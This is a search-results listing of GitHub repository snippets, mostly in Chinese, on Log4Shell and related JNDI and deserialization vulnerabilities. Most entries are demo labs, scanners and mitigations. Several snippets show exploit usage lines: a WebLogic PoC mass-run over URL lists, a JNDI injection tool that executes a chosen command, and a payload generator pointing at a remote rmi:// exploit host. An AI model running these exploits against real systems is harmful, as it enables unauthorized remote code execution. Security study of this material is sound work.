1998 matches found
log4shell-vulnerable-app
Log4Shell示例漏洞应用程序(CVE-2021-44228) 本仓库包含一个存在CVE-2021-44228(别名 Log4Shell)漏洞的Spring Boot Web应用程序。 它使用了Log4j 2.14.1(通过 spring-boot-starter-log4j2 2.6.1)和JDK 1.8.0181。 运行应用程序 运行它: docker run --name vulnerable-app --rm -p 8080:8080...
CVE-2020-8840
CVE-2020-8840 Jackson-databind远程代码执行漏洞(CVE-2020-8840)分析复现环境代码。 项目包含: jackson-databind、Fastjson中payload WebServer恶意类 编译好的marshalsec-0.0.3-SNAPSHOT-all.jar 漏洞简介 Jackson-databind远程代码执行漏洞(CVE-2020-8840),攻击者可利用xbean-reflect的利用链(org.apache.xbean.propertyeditor.JndiConverter)触发JNDI远程类加载从而达到远程代码执行。...
CVE-2021-44228
CVE-2021-44228 Abusar de Log4J CVE-2021-44228 para parchear CVE-2021-44228 en sesiones de juego de Minecraft vulnerables y prevenir la explotación en la sesión : Un viaje desde la manipulación de JNDI/LDAP hasta la tierra de los sueños de ejecución remota de código...
hka-seminar-log4shell
Seminararbeit - Log4Shell漏洞演示 CVE-2021-44228 安全提示 本仓库仅供教育和演示用途 ,用于安全相关的研讨会论文。请勿在生产环境中或未经明确许可的情况下对系统使用此代码。该构建旨在提升安全意识,并展示当看似无害的功能(如日志记录、名称解析和动态类加载)组合在一起时,可能产生复杂漏洞。 目录 1. 项目描述 1.1 研讨会论文目标 1.2 演示概述 2. 什么是 Log4Shell? 3. 技术组件详解 3.1 Log4j - 工作原理 3.2 JNDI - 查找机制 3.3 LDAP - 结构与作用 3.4 Log4Shell 一般流程 4...
CVE-Exploit
Twitter: @0xAbbarhSF 1、CVE-2020-2551 CVE-2020-2551 POC 利用 Python 示例 关键字: GIOP corba 如何使用 python3 CVE-2020-2551.py -u http://192.168.26.79:7001 cat urls.txt|sort -u|xargs -I % python3 CVE-2020-2551.py -u % cat xxx.html|grep -Eo 'https?://^ /+'|sort -u|xargs -I % python3 CVE-2020-2551.py -u % 32...
nmap-log4shell
Nmap Log4Shell NSE 脚本,用于发现 Apache Log4j RCE CVE-2021-44228 漏洞 nmap-log4shell 是一个 NSE 脚本,用于在网络中检测 Apache Log4j RCE CVE-2021-44228 漏洞。该脚本能够通过 HTTP 头部(默认)或通过 TCP/UDP 套接字注入 log4shell 利用载荷。 漏洞 CVE-2021-44228 是 Apache Log4j 2 中的一个远程代码执行 RCE 漏洞。未经身份验证的远程攻击者可以通过向运行易受攻击版本的 log4j...
log4shell-homework9
作业 9 – 保护系统免受 Log4Shell 漏洞攻击 概述 本项目演示了 Log4Shell 漏洞(CVE-2021-44228)的利用与缓解,使用了一个包含易受攻击的 Log4j 2.14.1 的 Dockerized Java Web 应用。该设置还包含一个模拟的恶意 LDAP 服务器,用于演示 JNDI 注入攻击路径。 在利用之后,系统通过升级 Log4j、验证输入以及应用 MITRE D3FEND 和 ATT&CK 建议进行了加固。 文件夹结构 log4shell-homework9/ ├── docker-compose.yml ├── Dockerfile ├──...
Get-log4j-Windows-local
Get-log4j-Windows-local.ps1 识别本地单个Windows服务器上的所有log4j组件。CVE-2021-44228。单次使用版 - 多计算机版本请参见 https://github.com/KeysAU/Get-log4j-Windows.ps1 Apache log4j CVE-2021-44228 脚本运行: 导出: A - I 列: 续: 描述: 单台服务器本地运行版本。 在本地服务器上创建工作目录 C:\Temp\log4j。 递归扫描所有驱动器中 .jar 容器。 使用 7-zip.exe 将所有 .jar 提取到...
log4shell
Log4Shell CVE-2021-44228 概念验证 PoC 目标 在 Docker 化环境中重现、利用并修复一个已知的关键 CVE。 本 PoC 在 Spring Boot 应用中演示 CVE-2021-44228 Log4Shell 漏洞。 1. 漏洞描述 CVE 编号: 2021-44228 CVSS 评分: 10.0(严重) 受影响组件: Apache Log4j(= 2.14.1) 该包的工作原理 Log4j 是一个流行的 Java 日志库。 它支持 查找(lookups) ($...)来动态解析日志消息中的值。 其中一种查找是 JNDI ,可以通过 LDAP 获取值。...
JNDI-Injection-Exploit
介绍 JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可用于Fastjson、Jackson等相关漏洞的验证。 使用 可执行程序为jar包,在命令行中运行以下命令: $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C command -A address 其中: -C - 远程class文件中要执行的命令。 (可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app") -A - 服务器地址,可以是IP地址或者域名。 (可选项 , 默认地址是第一个网卡地址)...
spring-boot-log4j-cve-2021-44228-docker-lab
Spring Boot Log4j - CVE-2021-44228 Log4Shell漏洞(CVE-2021-44228)本质上是一个相当简单的JNDI注入缺陷,但出现在一个非常糟糕的位置。Log4J在展开日志消息中的占位符(或间接作为格式化消息的参数)时,会执行JNDI lookup……更多内容请阅读 PSA: Log4Shell与JNDI注入的当前状态。 Docker 实验室设置 注意: 此Dockerfile最初来自 Log4Shell示例漏洞应用 CVE-2021-44228。它使用了Log4j 2.14.1(通过spring-boot-starter-log4j2...
Log4j-Vulnerability
🔓 Log4Shell漏洞演示(CVE-2021-44228) 本项目是一个受控的测试环境 ,用于复现和理解影响Apache Log4j库的严重漏洞Log4Shell (CVE-2021-44228)。 📁 项目架构 Secutp1/ ├── Dockerfile 构建Docker镜像 ├── pom.xml Maven依赖(有漏洞的Log4j 2.14.1) ├── README.md 本文件 └── src/ └── main/ └── java/ └── com/ └── example/ └── VulnerableApplication.java 有漏洞的Spring Boot...
cve-2022-42889-text4shell-docker
安装 Maven - maven-linux 1. 安装 Maven 以创建胖 JAR 包 mvn clean install 2. Docker 构建 docker build --tag=text4shell . 3. Docker 运行 docker run -p 80:8080 text4shell 4. 测试应用 http://localhost/text4shell/attack?search= 5. 可通过传递字符串 “$prefix:name” 来进行攻击,其中前缀是上述查找:...
CVE-2020-2551
推特:@Hktalent3135773 0、如何获取专业利用工具? 参见 https://github.com/hktalent/CVE-2020-2551/issues/5 1、CVE-2020-2551 CVE-2020-2551 POC 利用 Python 示例 关键点: GIOP corba 使用方法 python3 CVE-2020-2551.py -u http://192.168.26.79:7001 cat urls.txt|sort -u|xargs -I % python3 CVE-2020-2551.py -u % cat xxx.html|grep -Eo...
dubbo-rce
CVE-2023-23638 仅供学习研究 ZooKeeper 自备 测试环境为 Java 8, 其它版本尚未测试, 不保证可用性 复现时需要为 DemoComsumer 添加 VM 参数: -Ddubbo.hessian.allowNonSerializable=true, 详情参考 https://su18.org/post/hessian/serializable 分析文章: https://exp10it.io/2023/03/apache-dubbo-cve-2023-23638-%E5%88%86%E6%9E%90/ POC 的本质是利用某个 class 修改...
CVE-2023-25194
本工具仅作为安全测试,勿要进行非法攻击。否则造成的后果自行承担。 CVE-2023-25194检测工具,通过JNDI加载DNSlog平台返回的响应内容判断是否存在漏洞。响应内容判断逻辑为经过测试后能够顺利利用所响应的内容,部分响应内容在dnslog平台可以收到目标连接,但是最终无法利用这里已做忽略。 python3 CVE-2023-25194Scan.py -h / / | / / / | \ / \ | / | \ / / / // / / / | | / / // // / / // / / / // \ / / // / // / / / | |/ / /// // // /...
CVE-2020-8840
CVE-2020-8840:FasterXML/jackson-databind 远程代码执行漏洞 0x00 简介 jackson-databind 是隶属 FasterXML 项目组下的JSON处理库。 0x01 漏洞概述 2月19日,NVD发布安全通告披露了jackson-databind由JNDI注入导致的远程代码执行漏洞(CVE-2020-8840),CVSS评分为9.8...
log4j-docker-vaccine
Log4j Docker 疫苗 一种容器化运行由 Cybereason 提供的 log4j 疫苗的方式 https://github.com/Cybereason/Logout4Shell 开始使用 克隆此仓库: git clone https://github.com/jeffbryner/log4j-docker-vaccine.git 编辑 containers.env 文件,填入目标可以访问的准确的私有或公共 IP/DNS。默认条目很可能不适合你! 构建并运行容器: docker-compose -f docker-compose.yml -p vaccine up...
CVE-2018-3191
CVE-2018-3191 payload 生成器 Download: https://github.com/voidfyoo/CVE-2018-3191/releases 用法 java -jar weblogic-spring-jndi.jar 例如: java -jar weblogic-spring-jndi.jar rmi://192.168.1.1:1099/Exp 注意 weblogic-spring-jndi-12.2.1.3.jar 用于 weblogic: 12.2.1.3 weblogic-spring-jndi-10.3.6.0.jar 用于 weblogic:...
log4j2-exploit
Log4Shell CVE-2021-44228 概念验证 环境要求 Java JDK/JRE 8 或更高版本 curl exploitable 一个简单的 Spring Boot 应用程序,提供一个包含用户名和密码的登录页面。当通过 POST 提交到 / 时,它会记录用户名。应用程序并不需要记录用户提供的任何输入。启用使用了存在漏洞的 log4j2 版本的访问日志就足够了。 如何运行: cd exploitable ../mvnw -q spring-boot:run 默认情况下,它监听 8080 端口。如果在浏览器中访问...